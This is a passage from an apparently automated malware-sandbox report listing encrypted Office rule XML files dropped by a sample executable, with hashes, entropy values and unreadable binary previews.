Preview:	<?xml.G+.u.E...."..d.......)y.+...<......'...j.Q...E."6...GL..nT....\sV.I..<.St.o).{.B.U.n.....!f...?....s...#..z ..M.B.'h].E...v<.).s.y.a........`O......W..io.q..\|.2..t.B..f$9..... ..m......Y.......i%.n..u.<....B.}..q8..C'.a.........\..Dx.......4g..TQj...;...F...%..?....a.r.u-...j.a'....q..r.LK..J~../..D...TF%_.].8=^.kx.\...C.f...... ...q..."=eC...kVC.......Mjbe..9.B:.Y...^.n.ci.HK.\|......ZYF.F.8c.0.%..Vtpd...;N~...r....W......)...k...0..0xj....?O.Dm.E...x.m.Q.%..1.=.&@....%ky../.."J.8..~..b;,...T^I~.mBesw.6..y.o8]m..N3.(UYW...5...@.x.P=.....^.Z..\.O.......4.r_Y...(.....V...\|....eU......5!.w.d.Cc....Sei...Y}@.p.j....L..YO{5.#.......=\|......9..VW.r.-...!.2.2.b.....9./..O..70.Y%...xL.D0...8.....<`.bQf./...LOe...).&u.s.f...v...3..OQ._.BU..- .w....Kg..~!J_...w6.ph].V._..1...LK....Z..\|q.ON..q....0]...5 TA..W&.B:.!.:.Y...b.=)~.......i.-........]:...oA....~..0.F.....e.7d..r:....5.Z...P.nq.V..s.fEme!.......{..hP......... .{...p.n3[..F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8756186380232505
Encrypted:	false
SSDEEP:	48:w3S2l/xpaefSkHpE89ZnASBTX2VjYu7GGiD:OPlja+/JzDnA2xuyGq
MD5:	F8B3FB87DE06730F1DE9975F68F59A15
SHA1:	A3458F8455DBCCEB108191A32757499D683ADED6
SHA-256:	11379FB669E50203705B090ACE513C032704A0A44B9D8704ABEB70D468C1E1DA
SHA-512:	C987D046F96B845AC265098431C5EF7C20F5CC61D96CE89BCA53303B24379BD774AD60771DFF9D175B64BBB393E517C23E5F29CDBC81EA36B4D28CE553AA0AEF
Malicious:	false
Preview:	<?xml...&..K2...hB...<.c....kA:H.....,#.\..l.....$.F.h.eE{..O..;.........O.....i..C...5V.?....zwT...............r.m...j.X<.Z...p...A.D.Y..........UU.^.{+....Z..K...f...Xh..2...K1.....H,...\|.]F#~=Y.g.....mQ....(....h..........A...4.7..V....L.w.gl1b84...rO.. ;z...TK..\|8.I..UP.]Z.w.u}..>b[.^...M\.v..;..L....d(F..!.....i....O......6.'Mo%.+..W.....N.pEE.r).v........<.DM/.p...K......,..7.o.-BLV.l.7.....R.....h..VXh..Z......>.DpCcs..7BHO..;....~....O%.\|..(](......&q.SIr..CQ5..0..@V.......,.......W=.,...:...Z...C...Oq...R.?.G...$5r.".:....Ey4q.H8...b..../.K.E.n..#.!i......Q...u..."g...s.e`@d=2...?.o...w.K...m.....K\}.......9jR.s..$..........g..Mk.....f.a..Mrv:.A....1w[3G`7.......#.1.\|]9J...u$..u7.7.nk.2.$......D...vo6^...#...@.....QW/.......UV.q...c.&.f5.)..o5r...H.H.....[..O.7.Wkw._^.D..h...F.m.O/<.f.6..;...j.Z....../... ..f.~.X..R....5.oi......'...#..ri.b.y.hX..6..2&./...6...V.E....X.,.=.#W^..GK..:....$...K..p..`u%.._......._..<.M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.891114364544323
Encrypted:	false
SSDEEP:	48:8VtSPuw4Uqkq/GP8tL1TZwtK8QoDWCOQshuD:8VtSDqkqO8N2tK8DWCIhW
MD5:	24A5461FC826F5C94BA7F59EA39CE61E
SHA1:	C5C538A16A1344045B772D5A908366C88BD034B3
SHA-256:	BFD1E2FF63C93373FC91DE2BBE3FB4AF27E385FA85DC08E34F82FC58048695D8
SHA-512:	259A6B6AA6BC50EB09C4F1BB0C1C1220B28E7066E5684E4B69650A5EE04254CF557D2BE331F8ACE53D6B6EFCB61BEF8EC38A6F27237C79FE7D7B0CB5178EED5E
Malicious:	false
Preview:	<?xml.c.+......6@....[...\..P.x..RS!I..e..8-.....~i'.E.N..w...)..A...Y.C.+...~/.....(....cK.e..>....2s._..f.c.v.Q.}..+..{.....Gw....Z...1.,Y..U.y.%.w.Mly9.4..,.....4.....l.Y....Y..1......\.Sq\.O.I.t.o.....8.z.)..i.z..>..P.)J!.0.......!..G..=}...i3.xR.'4...%../$..qM.;.4.wx...t.%.Gm.-.. jt..L..kZb...Cl'.h..[I]..&%...d...L....2..)=I_..R..y...}.$.G5.^../....J....d.O..CW..n....#y...u.Ml..........D..a.~..g.. ..~.T../.be.....Z..:.....=K[./..M.f...)...;lM..T?.H.t.gB.TG..g..=..`.....Q.....z.H.X[...\.R..)....=Tm;.....q.; ?[.F...\|.Q>b.,.<....T.....S.....O....f.x\|._J..A..C..\|.2{.,......>.X[nr....P)x..Y...D...!k$.q.`..d..j.l.n$...Av.T...Q..I..af..&.>. !..A.c$...8...wsP.9;....C...1B.....o..=....OM..Qg..>.^..Eu.....8.....nU.....}....~o.;ZXo..h.......y.N..PZ.t.e.H.J..xp..n.i.K.....'.d....C...o.~..c.c...S.8sV.D.x..u..I......0.jf.P.T.!{V.3.D\..}.P..T............/.....c.e..........S."hW..S...O..Ct...s..b...7w...p..\|.vu.!.N=~.>d..z.......0#8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.879610102850678
Encrypted:	false
SSDEEP:	48:7z5Cwu9uvMaZ3cPONwWW7oqTMxJH3EsuGjDaXD:f5CRAH3k2WEq+UuPaT
MD5:	08EBD794192AE433E40DA6E92106B107
SHA1:	6AA40975E6C09FB1E4D68E12CBC946A34ECD70E7
SHA-256:	6042516C989CBB63C8C999ADCB51FCDD679DD3DE33850FFD1FF6360E4A8710A4
SHA-512:	06A6B142CB5FC2BD60E0F9F527C9E5186A23B4C157E7D8459811F857A46C4D6AE4195510D366450ECB20C5245E7E179DFD01E74E2C2396A7C6083F8C424E89AF
Malicious:	false
Preview:	<?xml.H....^u..(...0........).....c....w.....1.....}....b...w.%........s.ok.......~..V..z4m.../ ...l.T.. .u6..uS.=..U)T...Usn.&......:.......U(.6..WP..0.2&l..a..b.....!.C.....,....f\.e..5.m...).....\|.......Tc8"b.5:...@ ......2A>..9o..h.U..@."..b.\i..q..\|Y.-Y(.GU....y.Y...X[.h.\|... ...../yO..(...d....aj..~...w"..>.n...t..X.l"....x..`..Qh.m.%0x.O.....7t-.k>}r..7.Q9..=..V.]...8....X... ...\Ff.T8=....&.>..R,./....E..t...........a.W\|..FIX.#.9.V^.....;.#..).K..^&Y......%0.m\|a...D.A..p...iX.....aI.Bg....8b.Q..QS......e.wnv.%u....M._8.....7.3..A../>...+..=l....zY..fN.0Jy.m.RG..+.U..T...........;..DI........qHk..i....G...K..X.q..J/X!.S....O&GA!x........_H...)..A.&AvIEG.....1....0z.,T....&.lU..T...j..'.~}.o...p..l;E..;.V2.K..8.G.0.a...~.B%.~...T.*..)...c...`a.....f.>........$..U.$..bZ].....)C.[KU..\|y.;.;E..9.W.6.0HpDU?r^....r.z...&#w......d.8F...I...H....5....4$<Hy...t..o$....Q..KW,g...#2B8.XD..my. ,.z....{...#...7:f.@.+q.....v0.+.,....;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.873538607147706
Encrypted:	false
SSDEEP:	24:XNXGXwdH0qSq3YXz6MAzwaIcnJqlMxpWRRa7okIphklPrBezQI0FdWqnNBubD:XNWAWTmYGM21JqlMy0Yhkbe6FdrnNBMD
MD5:	E6EC2EEF6EFA20B7EDB3A962D40BB501
SHA1:	65FB0995F0888C632A7841A8A353747F233D2C05
SHA-256:	41A4291049C514FDEDC3194C8B10EAC924E2AA51940B0D8AD5BA6D33DFCBDAC3
SHA-512:	BFF27E51D75E66A45CF75724E43201B45A1F53F6C0E61AA78E5A79EE253942F6A67E9489B1CE0F6210167187A29E310C1D82E4C45752745F364DC534A83B0F05
Malicious:	false
Preview:	<?xml.{.4.39.X......k.9.)...M/.....n.t.."..i..1.._..eD.!..1.t......<.....4........hE.%n'5..D..G.M.ZM..5....Sd..5w......O....=Ce.S.!.y....p.(t.$vH&....4......../<......._.C...[.a.\...:/..w.....e1}q. ..]..,.K...\.. ......fT..$.B...>T....X..`@........:.,....Tl....V.}.'...5b.2...H...J.Mz.O.....E..2.Dh3._.&.F...E&...b...V....k......".).`......@.K3.!U..m%P(....X.-.h...pfZ,.Hu.s.>.0.?J}.c%.m?..-..#=..........d{...O....5hs.c..!.......%..KaP.`.......~.....i.`1EnQ0.I. ..&.61......k.96>...............2...u;..E.v.(....Q.?.6&P.s.Sc&nl..]_a.B./.+.....\|@...Jk.^f.d.CY+.......F..C9)a7......,.k.."..".%.c.Mk..m;.....Y...2.....a.(.,...(O.......).V....UG.t..0.}..F)[Pq..6.l._...8m........".....j..y.Ag.g#].>"s.V....#......6h).k<....o.et..I...(.m.9.@..s......[.....XS..Q.=KK.rS....Ig...>[P\|....TcV.6ZL.....C\|zI.A...ZiU.4,dc!.$...C.t./.E7,rJ1.a.....ak.Q..M.)....>Atp.m4.......D.S.A/K.IL..ar...Y.F}Z... .2~...........4F..HS..A56D......@i.. 3n.9...<d..3.aeo~P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.885951708154311
Encrypted:	false
SSDEEP:	48:FIbh43XO+Dos4U/Jc6DDh+Nfp9dmN/u6awD:FYh4VwoDINfq/u6X
MD5:	A4BF3D72BA4E33E9DA18AF735F2C6B8D
SHA1:	66B82BCBF500749168A14E0E86D0DAA07608C672
SHA-256:	FB4479B0F19F9AF092348A512997746C64EF43378170975A43982AB9ABDB147A
SHA-512:	C0AE2598E59C762A14B88938900098589551FCDA2C5D15228B198191CE3002BB641D5B6AC6456703DC5AB3401F3CB8E3ABD3C48E7559CC5706EAB97CD1ECF199
Malicious:	false
Preview:	<?xmlf.'....<nYG&^..%......s#aB7..l......)h~T...~.&.6..`XQ-.%.)....d..#.K.\..@g&.E...\|u..^K..S..E.\|.....=..$..f.}...{.3...,...I.P..AO}.V...~.(.mk.....)V.lk.GY=\|.V.F....~......i...pocIY=..........4tBH..9..R.@.Laj...U\|3....".t....M...^Y,s%..dN.>..W&U2............r....NGa2V0....4\L.K...pwr.cd?..p..]5.W.../....p......z.%O.Xq...T..... e.]J?......qw.O.7...f..'.....M.O.....X:H..].Mt..$...H...he..4.......w......uU..Io.......L.S.....yu.).3t!.....U.N...P.<...c.....N..:9Q..s...._..Y...k.o..pI.o.'...C......2.'..p..iF.`.Y.:.k..........k7.....v_.TA..Q......J..M..cO..r4....Q.n.%......Y...m......2.H...`K[o..~G..I.rh....4.oL.....n.gs.`......(r.J\|..^..P.([.(Bw......[..K."...U...iIg....L..Ss..,G.$...j.5.....F..1.F....../.......r.r.......@*,...R-....HaH...s%..s....-H...m.u}..#..=.;..2.4..O.q..)zR...Xx.e......BC.N2.f6.. ...-vX.gs)..ogh.Z...Rs,........ .S(.L]{..x....b8=.L..\.!.&...C.V....]kM.... ../.7...\.&.....7.uF-..3..Zg.j..h.BB.....2.$%...[.....-F./....}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.88058996476865
Encrypted:	false
SSDEEP:	48:Mmis8HZPIIiRJI2Aa00Lm4nG4VwJpWW9fMg6D:/0ZwIII2AVUVnIoW9tS
MD5:	D7BA333468C5F20CC1D1AD02439AC70F
SHA1:	A18920CA90741A0217C000AD20C492807E3BE0C9
SHA-256:	CFACCEB29497B3983380E74C77EFD671C02301C0004219665A23461587FBB530
SHA-512:	E58D0F66E6F2061402F0DB875424F03707EE444000BA5A1FA603FF4471B37698B9BE12C1F813B123FB9A0456B5D142874B9A1B9AC20E8F49A16AFB4C5E62A38A
Malicious:	false
Preview:	<?xml.#o..X...d..=.J...5...j-.;xX../$..-I?.R......Iv..?.E.H}. .....=PO.uypw.$.g.HV..bk.URdJ...G....I.........W-x6.Y...}.....,..5......I.].....{"3.u.....%M......p.......fEU\A.B^ ....p....."...}%..=......\}.....LA..Blk..o>Z..eWg.{.2....X.....r.6..x..m.t.D./oO....3...F...p2.U.aY6..{........U..\|C....7B..&h.....u..........x..Nc.@>..{[..}K.t...e+;2....Nn..LP.=....`$rI.J....`.Y.A...=.@.....<.K......1.q.z..kCy93.)...r.W.5y..?..aB.d...9.T......,m]A....\|Z`..\|\.Y.0..B.^.K:P&...#..m(.....L...........f.PNL.....fk._u.LM....&.?..Yo.......&h..\.z.{..j.\<.]..U..5.........=....`.&o\....u..F...z...YL8.=...C.r...B..q..h.. ....p.ozp..........y..K'..dL....}y.DF.5...#..!..4g.."g.WG.=..M..=..f?.W.......2?..jf.e...j....tn4.......E....g.....p..m.\|....N.2Bj.9..Nf..z...oS.\|....n..~_...z<.^...N!..?$.hJ...C..l2.L1..@ .b>D..2...'...AuC...1.N..p.k.?...m....3J.%..N....].....1..SW?.8h..an.^..x:.,.#&M...bI....(j.../=g..@..!H.(.".K0.C}.....[...t.@..%.$@.'c..u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.902708924491756
Encrypted:	false
SSDEEP:	24:NCxdvMi8BFkXn8eUQIiljn/+/Ud8WDlXoRIuvG1xkISabTwau66+Uo+gbD:NC7vMTBm8UlkYRXVuvG1Pg6UsD
MD5:	B0A76B44DB5DD2CEA12481AB631E06E3
SHA1:	A9448C38FF52AB9E6D9F4F62AFF54C3D9DEA81FA
SHA-256:	4D7597FF711B6D0E674BE306DDE2E5D360F001276FF826A8065FE581CCBE7F02
SHA-512:	7A21BB6C3C2ACCA69118399B229CFEAF9613E76821B68F58C6DA033B9B3494112B4315D717D81E01AFD816A12C8A113FB1B2D2D6FA41691C8959E0866FCB0D94
Malicious:	false
Preview:	<?xmlRk5.zy..8L...-.x....p.."^......[.vb.R*.F7...e.0v.T.c..v..M.W.+1..../+.....F.)xe.f.m....J!{.H^..F..P......Y.m.2.MQV^.e......s.O..{...../.BB......u...}r..M.,l..;..\.IA3N...,%.L...U...4..1s...+.U...h...'e....A.....mk.1_k....Q.,..UE....]7..-..N.i.n.. .......'. .C.7Lt5........5............aF.\......{.j[jSF..H.os.l.f._d#..:.....`C..I..\|.y.+..K.7....>. ..U.%......8.z..C.j.$.'......\|....d.k..U .3....7m.......1..'0'y.w.:_.$.......J.5.hD...x8'_........z...i....K.{A.z.....(P.y....PN.].........Yia.%0[....:....w...]..l.0..k...`...EhLSe.0\.E...6...........<...s.'.......7.5+..\~Z...a....K+..r.P..v.....%..>...h.../...3.l~u.... x .......,...8..{..i,..\|4.K)..&o..'...-....pw....1F.S.+....a.....&..31.t.z....E.$j.x.Isg....+....v.\j.w....E.C..1..\.\|aH.(......g.....F.H.u...S..XY...9@`........4x5O^...WX9..a....Q... ..$.<\|......e.+....'...wxgR."'..JE.ei26..R..'(..."6.h%...)j.T...T..n...<GL....).,:w.x..&...1...=....6...cY...>....qo.wv..sc].e.s.x...&.~...#y?.C._ '.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.863752581398867
Encrypted:	false
SSDEEP:	48:ynKefJMTQLXpmCSgXPmf4KUwR3lxl89KSVD:ynPfeQzqgfmf4KUwR3bl89jt
MD5:	D1B1D9117C6F2B1C467F8ED550A13F25
SHA1:	E2709DB83CAA7056DE7A5C6679C07225815AAA79
SHA-256:	69EA16BBAE85361B7EC5D267DDFAC18FD215A12993BF95D6F3C2A7DFD44B866E
SHA-512:	BAF838E2DAC446D5B973B444DD2B8E4E6C53CB3E840C70D65B5DACFDF05498B6F5E747A2000DDA7BE333E17C52A7B364FB23F112CB441BCEF83E913DC7A8D6FC
Malicious:	false
Preview:	<?xml.../....z;..H.G3 ..........c..V.....AN...b...&..[.}.^;....!M.t..?.;..c....m$(...!t.A..}.o..AiB.G.X...}(..@.g....g..&....?L5#....C.h\S.r..T.+..d..\|.......D.d![r...>8.j.9.....<...n6>4..t?d......~.. `..Bg..n.J$..j....9!.v.....t..l,.:......B...b...=}.B..t..^,(..2.(>...tV...k:G......L..r.K.N1...n.>w.aY..#.Y..'x.F,.M..f7...,.s#U.......=....k+....{mGz..{..."!.H.z.f_h..C.>\(.....ch ......JT...]...E..u$.@...&L...u;B2.n5...!.v...7...&.Z.......c?#N!...TfM.M...:..[.6...\.._...bN..N.9.....[.\.c.WG.l.(..1...-...f4q'.#.E..a....<...>.n....".hV.tQ.).<.oc{..-0K....E.....\|.0kM..1S...=..o.V$T....p...R.......wa.1.,..Z.(@n....4.x.J.sv....}.."...<........%..B./..J.x....Cy.H.U.2..I.S.<HH.......,..j......(8!..K...o....5?Z.{.F]g..Q].'dp../.S...Y.m ..(.h.?.0vD..P+......[....9..Xy..^r.*6. .6..........K.f.g....e.:`.(...0..?<.}.U..>.m.N..y.izR.u...Z.US.CF.<u..@..r........U.....sZR...-....U..&.t.bz.P.2....{G<..x%W.2.H.:....n.B.ed3Vc;...x..q.u...`....81-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.880306023720207
Encrypted:	false
SSDEEP:	48:xTVrBvNBYFzPrUkWn6lYg9VB90OcuzrdhurI3v2E1PJr7UD:3rBvNBYRTHlJ950MKr8v2K7A
MD5:	ED2497BA2044B9B5D1D0A72E318E7051
SHA1:	C42167065FFD566FF73EB9B8018FB26AC6AA7814
SHA-256:	264758BDE7AD72A912BE55919D3F4412E481DF9999C7E5F4D8E8C7DC2C897D5A
SHA-512:	0A67FB22575CA316D96984E1336738FE7EBBFD43AE0ADE8A3E0E21AD26AC2B796ADBE45A8F5EACE4FB990F397C2B3BCAD16D2C4245FD95CC7BE96D093FD1B4DC
Malicious:	false
Preview:	<?xml..%.K.AW.^...w.e.t....J.....tg..s..'.>f.(..,@&.....QU!Vt:.Bi/r.....w...{.....ST8]._.........;$...1...;....`.....xh...8..jc..'...4!..?..M:>E.9.<...........W..v;U.KA......b...'_.....C...j.....%..l........U.....E..}.y..6T.0.=oN6.+j.....o5.../../p.......C(......s..8...O%.w....h,.l.../.m..e.......Au......og.yh.h......Z2O$K.......G...9A-..M....[....A...Sw...PS........r.xz.K..'.RH@c.\...y\|3.".9.wE.oza..]..P...BN..+..1<3;..t.2..y.....T.~....yc...J...\|+......O.+.U$.4I.x.4..P.....jO....\|.6..L:....D...Zh.v....]b.9...k.....Ds...........C../......4.........e..P..H..U.,..Vy...P...G...........W....m.s,.7.\^$.>BB..........d.....d.<..NX;}..rDI.../;F..1.0./..hL.V.........1.l.@..cig...Hb^.e..jdG.d.G.....^.J......O}\.....Kg..K.....{9..Xj...v..StM...4.%.~3zM..B....~@.)~].9t&N.\|.%.........\|.\f...}...T..z....^i.@.k...,c2.I.H3.M.o.<.QW.\..}..g.S......Z..s\.y.N...B\|.W...^...\|A.#r...c.o%.+..eJ......9/.&.Jm..............H=.uS..qk#w.^ju.\....Y...k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.898435057311873
Encrypted:	false
SSDEEP:	24:vDCTlnT5bZVS34rFy54jVlI8HR6QEmO4fcU+eDbb2gCLwFHcYhOjF2BfYQLg83bD:v2hbVSI1zI8HRHO4GA2C9cP2XLgyD
MD5:	B750BEEAB6B38A1EC15B8B9C144FFBBF
SHA1:	3EC75973A2CB5783EA796E4D54276BD64C6856E2
SHA-256:	2FE4290F6955B64EEEE208D40B0BE5DC16F4D798AAFC15A61961582DC3656913
SHA-512:	870792BE3B730759FDFD1A612E52C456086B0EA4240BAF97BBC0502B577AEE09ECF13AE7EEE9BA5357937EBE5802DE9CF244D56160D5601686D6D7E838EBE977
Malicious:	false
Preview:	<?xml."_..~......S.r..d......AyNmvN..du.h.Fon.#J.....S..7<.h.Kb..%..A...&...b\|.:Rt..OZ.W...+o...u.\cx.,}J.......Z...91.(..!....rO4#.]....Lk.Dd.r.."/gR.!!h.f.H.q....[.s2ih.^u#e~...y....j..y.b`.C.?...V..R..yj...c/.....E2.w..U.}C....t9UYP.Q;..].1W.....%..t.......O.,Kh..?...6z.D..a.....+G5;9.3j.5.....2...q.fJ..Y..?.q..`......pu..dMd.Y..b...8..ag.e.c.].....(.....y.....V..w....&Y.{.J.Y....0%h..@w.v\%.,%..J.2...!...bx..P.L..#.....Ivp.<7.,oi....j...Iq..........\.f.^...l....lH.....YPy.l......8..}..()3....T.7.%u.v..;..=-.....d..q....*:......N..2.fp1.0i2.t..xq.......Y.,...E+$}m.L.:....dB.^~......n.1.zTu,=.... R...#.=&.e...~......&./R._....%n.k.......t..^..i..6.....u.kz[OlWz...+......M.......\..P.6y....xO..rXy.O.A.......n....P9.0.d...$...)...>....{..6.C........\| ..Sim".....>...Bo..[.IOC.p.v.e16...^.a.l.........B$..s} .k...?....._7.<.{...._.4...i..........e2,..>..l@..eh..gB{..c..>3...~9\.....D.....Y.Z2,A..,./Q6c.rT..a.SpC....M..\|$..e.R.....-.........g.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.897677383432501
Encrypted:	false
SSDEEP:	48:YpWwar1igoBCfq0qpCDUjGJbqi0x9W6Q1bD:Ywwawgo0cCDIrRe6A
MD5:	25E230CE0FF66EB9A8D2384342DB0C4D
SHA1:	FD97B11C4608D75F36991F3F2EF16F7731793711
SHA-256:	361884A0404D01D304C4287E8FE280821781120117B821FCA1C98F442730A6DA
SHA-512:	526E847B1D7B410784518664CB17577A405BEB83ECE3E036BFF9BDB21A743E95E3325A379EBA329CD2F83AF9BB8BAD87695E1B5D069FE9F95EB75E1C953787ED
Malicious:	false
Preview:	<?xml$\7..X...d....0 ..b........ .3..........<...cO.G.6..5&%.............A............_...9.q...b..K.Z.;Mh..`.....c......I9~..8.u.....qBm....>R.....VS.F_...G..N...L.n_.+..0pyR3..n".dI.]n;.3...ENL...0B..n~.^}.wRMqH.......M9.Z.@...>......jL/%._J...7...4A..I..>{>...O..w...z}...'c.cV.......Hk.}.`..a.V.z...9.;vY..l.Q...S.s$...f+;.?.S{.CEouu..xw.XK.!,j.......H.%;.....`......U5;..V3..0..I..i......r.}..d.B+.)D.!.R.e..3...$.gj....;2}.....Z..y3=uX..........P...h}{N8.T>.Y..m.32...+"..(..7.."......QU_.Q.....\|.,./.w~......w.3.....MSTI..h...5........3x.}.5.....o.....P.k...D.f.&..!.....a...ZJ../\|,G.....;.!.v...G...W!{..:.9........U....+.f..lAP..c...%Bz.o....:S.....B...\|.3..r..M.q.".K......x(..S..{[.Ege..6... @..Z(\g.\|-..FM.c6.hf.L...^_.m....o^.........h.........AD[.Jy......O..K..c....u.jVG..[q(U.z,..i.xP.5..C......@<..Uc..4...]...g.eelU......vF.B4..'..E..t.B&.>..\.8K.M..t..*.X..0.x$..\|b...2..$.....r.pu+....W.$F..}$..M...#.l.H.f.....!9..S.....><.=/..r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.891553140073692
Encrypted:	false
SSDEEP:	48:ZJbCQ8PxbSr8WWephvlcHMFrsotmZamX4+3bD:Z6y8W9pJlcsF4oIZa+XX
MD5:	2AB03B5BA2DE36F259DFC1D9CF40A3CF
SHA1:	05C27B2761421D2F6024C45C9AEBDB54C5B24B86
SHA-256:	1B9093313266D80000DE9095A9D1EA8A28F626C4AE0B16372AFABCA9EF8F92FC
SHA-512:	A3E323067D98C44B6744C90DCC943C3723C492E8AEAC166C54948C4C52E35AB616784C5B05E87FFD3A8B7B92CF6A54E8C337A743CAAD919ADE54261DAA2D48CB
Malicious:	false
Preview:	<?xmli`MB.Gv...3lO2.1.......+....HCAVk3..aZ.._.......h....K..N..8.{...'.....M...y....v.f......FY$..j..O......6z.@J.......Q..h...'....ta...:w.\|_.08.)....I....90'..zrj..G.c.^.L....U\|."$G.......\|....^..[p@./5.....!..[Q..$._.m.w.T....G.:...O........l&...d9.F..q.{/q.g{..K.8..T..@......f..NVg" .............C@..t30.G.Vx.nf..=..{.xef..............X.`ke]..!B..,<.l..>..].t)[.7w26<e4...6...R.'.xF. .....7[......OZ....@@.+\|....h... .....^Z.#T.2....Vj......[....^r.=.....8.sdd.\7.{..^XDK.s..k.0.......!7-....1r%L.`...qk..9....Z..}$.u.x...z ^.%.. ICG.D...).'..0d'..w.I.>....{....\.V...i....5a.....Vx..?g.>......1...=..+.jbv....d.A.....{......!.Fr......S\......e.M....kTs.y.y.\|.=..@...i....Y.."h...<!.x......s..uF.......:.9..S. .C....T.&...IiS..qJ.xJ3"..-G......\t/..G...,.r&...BC.=..i.o....q....?..o.)..+9...F1.................R..(...3.4}.L9Xp...<.+.cb..7.%.hj..>i.=.Q./.RU.Z...1..8z.Z\|.3p6;"..~#].:.J.R.@pe..*.Y5..2_&d.....<...9._M.o,.vD<...P.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8927977519442765
Encrypted:	false
SSDEEP:	48:J7b9Mtc/kZ3aAihpjLyLhJHphA5dmLM9D:x9M332hpjLyL1Y2MF
MD5:	1B79A679D2C275B2977E1B6E3B4E43FD
SHA1:	38A37C0B3220F6B59F9F3A271AC209CEE8A96AE5
SHA-256:	B83B6BD835501F5352324D35D49AE3F20511A5EAD445F2307D8A7899D1CD2321
SHA-512:	179A2330E81B88FDCE252F7363E5C6A6ADF9D5B3E3BEE48D2F6D7796A16E5B2ACF65F2BF28C3189F77DD08D1719C7DF3C3784908EBB50FE3E37050AB5A602C31
Malicious:	false
Preview:	<?xml\|c..AADA.N8#.;....=.`...Y...hM.......5.oB.EP.8u.U.....X7t`}.7.HKVtAK....\?...s?Y....M....{....%@..J.SR7_.T..t..7YrU......7..3..A9.}&.G..~...T.@m..5.Z}.^.^/.[....y+..W..:.n...."I...@h...Q.":eNQ.p`3i....3{ X..g...E?.# hL..u>......*RS?...\|.`c..;......6q.....XS........9..&....=..WUGG...P.....3M..=).)..._.g\|c....._rK~....0[......,....j..9.m'...&.e..T.w@......R.%..$&./4.....&.%u0.4........b.O..8...;...+.tQ;.F...y.X.kI..5@.......X..D.Z...T2.R..4...73....[....P......s....i.....#.}..P.W..d.Mg...yp.?K.p.sJ.;_.B..16.a....;.S../9...t.^...v..3K.n...!.J&.H\...?..'.U..J!cjTb...X...3.)..f..?..N..]...#(.....Q.Y....z.6j..[p......\G..........5.....ZxAj.........2..8.....d.3....`E"3.-.......,..}.c......l.vt..........;]./!..&L%[.R.aNU..t....n...H..9..S."#/o........zij...g.c...+.5...c.s8..$%.0.@...I\..[.....J.<.r.FID...\.5/}%..#...&..~.`m...t.z.B.......Q... .....0....J.^.j......j.b/mN.8......S$.\|..&.k.._.......mT5R\%..X.(....^^.19...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.892006596629182
Encrypted:	false
SSDEEP:	48:xY/c5bQeFRQeNU4D0MMwTM2iF/exnYVZ+WJH3jD:xDFNFRRPtMwTcx4nYVZZv
MD5:	F6061BBB1B4EF52C7252F6459030F0C4
SHA1:	F95028259549C96D495D7FD334E088A9745E1DCD
SHA-256:	3F6B31CB4747478A20162493CD522617119737B9C9B62BEAF13766344C517F1C
SHA-512:	0F2C717FFC0D34AF77973BCA68948E917F123920331F8344F14E12C3F950D9309AFF90512B2027BE97EF16653B76FD04E3601508E57CA62458C82C59CA7FAED5
Malicious:	false
